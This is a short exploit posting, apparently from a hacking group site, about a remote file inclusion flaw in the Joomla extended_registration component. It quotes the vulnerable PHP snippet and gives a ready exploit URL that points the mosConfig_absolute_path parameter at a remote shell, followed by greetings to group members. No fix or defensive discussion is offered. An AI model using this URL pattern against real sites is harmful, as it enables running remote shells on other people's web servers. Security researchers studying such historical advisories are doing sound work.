!!!!!!!!!WWW.SiBERSAVASCiLAR.COM!!!!!!!!!
------------------------------------------------------------------------
--------

Title : Joomla extended_registration mod Remote File Include Vulnerabilities

------------------------------------------------------------------------
--------
#Author: Crackers_Child

#cont@ct: crackers_child (at) sibersavascilar (dot) com [email concealed]

------------------------------------------------------------------------
--------
Bug in admin.extended_registration.php

<?php

require("../configuration.php");

function extended_registration_settings($state,$lang) {
global $mosConfig_absolute_path;

------------------------------------------------------------------------
--------

Exploit:

www.site.com/administrator/components/com_extended_registration/admin.ex
tended_registration.php?mosConfig_absolute_path=Shel3l?

------------------------------------------------------------------------
--------

greets:

X_ALPEREN_X and All SiberSavascilar.CoM Members !

------------------------------------------------------------------------
--------

--------------------------------- [ WWW.SiBERSAVASCiLAR.COM ] --------------------------------------

[ reply ]